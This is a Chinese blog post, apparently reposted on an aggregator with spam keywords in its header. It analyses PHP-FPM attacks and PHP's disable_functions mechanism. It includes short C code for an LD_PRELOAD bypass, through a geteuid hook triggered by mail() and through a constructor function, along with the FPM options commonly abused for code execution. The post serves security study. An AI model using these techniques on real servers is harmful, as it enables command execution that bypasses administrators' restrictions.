日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > php >内容正文

php

php内核分析-fpm和df的问题思考

發布時間:2025/3/21 php 33 豆豆
生活随笔 收集整理的這篇文章主要介紹了 php内核分析-fpm和df的问题思考 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.


這篇文章靈感是來自看了一篇文章《PHP內核分析-FPM和disable-function安全問題》然后其中學習到了很多東西。該篇文章已經非常詳細了,所以自己就簡單的記錄一下自己的思考,如文中有錯誤希望師傅們指出。

介紹

php中的disable_function是EG(ini_directives)來獲得的,而phpinfo根據 EG(ini_directives) 中獲取信息并打印。

然后通過zend_disable_function()函數去禁止,簡單的說就是通過 func->handler = ZEND_FN(display_disabled_function); 修改了handler。

而phpinfo?直是查看服務器php信息的可靠?式,但是在包含修改 disable_function的參數攻擊FPM后,phpinfo已經顯示修改,但是測試函數仍然禁?。在fpm攻擊的配置中 EG(ini_directives) 找到表示 disable_functions 的 ini_entry ,然后修改值為我們傳?的內容,?phpinfo展示的值就源于這?。


還會將要禁?的函數字符串傳?fpm_php_disable 函數,再調? zend_disable_function 函數修改 func->handler完成禁?。

所以說,包含 PHP_VALUE == disable_function= 的惡意FastCgi攻擊FPM時,只能修改展示phpinfo信息

的 EG(ini_directives) ,也就是表?修改,對于已經禁?的函數?效的,但是可以通過FPM禁?新的函數。

總結

disable_function 的本質是修改 func->handler 完成對函數的禁?。
包含 PHP_VALUE ==disable_function= 的惡意FastCgi攻擊FPM時,只能修改展示phpinfo信息的 EG(ini_directives) ,也就是表?修改,對于已經禁?的函數?效的,但是可以通過FPM禁?新的函數。
攻擊FPM?較常?的有效利?選項是 extension_dir +extension 、 open_basedir 、 allow_url_include = On + auto_prepend_file =php://input 。
思考
那么我看網上有一下介紹是通過fpm來繞過disable_function。那么是怎么實現??底層到底是什么?

這里給出自己的答案,之所以說fpm能繞過df是因為通過配置 PHP_VALUE ==extension_dir +extension,然后我們上傳我們的so來加載執行。那為什么說加載so就可以繞過???

是因為df是在模塊初始化階段的最后一步 加載so是在這個之前 可能是因為這個導致的rce(圖片是來自上述文章)

下面是清楚點的。

LD_PRELOAD與putenv的配合使用,即LD_PRELOAD這個環境變量指定路徑的文件(也是so文件),會在其他文件被調用前,最先被調用而putenv可以設置環境變量。

而一葉飄零師傅文章中介紹了某一個php函數,我認為是在執行的過程中能fork子進程的函數(啟動外部程序的函數并能執行)然后我們hook該fork子進程,進行重寫,完成rce。

例如:mail(‘’,’’,’’,’’);

#include <stdlib.h> #include <stdio.h> #include <string.h> void payload() {system("ls / > /tmp/sky"); } int geteuid() {if (getenv("LD_PRELOAD") == NULL) { return 0; }unsetenv("LD_PRELOAD");payload(); } //編譯成so文件 //gcc -c -fPIC hack.c -o hack.so

還有imap_mail()、mb_send_mail()和error_log()函數等

然后還有一個進化版本

#define _GNU_SOURCE #include <stdlib.h> #include <unistd.h> #include <sys/types.h>__attribute__ ((__constructor__)) void angel (void){unsetenv("LD_PRELOAD");system("ls"); }

其中__attribute__ ((constructor))有如下說明

1.It’s run when a shared library is loaded, typically during program startup.
2.That’s how all GCC attributes are; presumably to distinguish them from function calls.
3.The destructor is run when the shared library is unloaded, typically at program exit.

1.它在加載共享庫時運行,通常在程序啟動時運行。//putenv(“LD_PRELOAD=hack.so”);
2.所有GCC屬性都是這樣的;可能是為了將它們與函數調用區分開來。
3.析構函數在卸載共享庫時運行,通常在程序退出時運行。

所以我們就不需要找一個函數去觸發了。
【不學的不要點】

總結

以上是生活随笔為你收集整理的php内核分析-fpm和df的问题思考的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。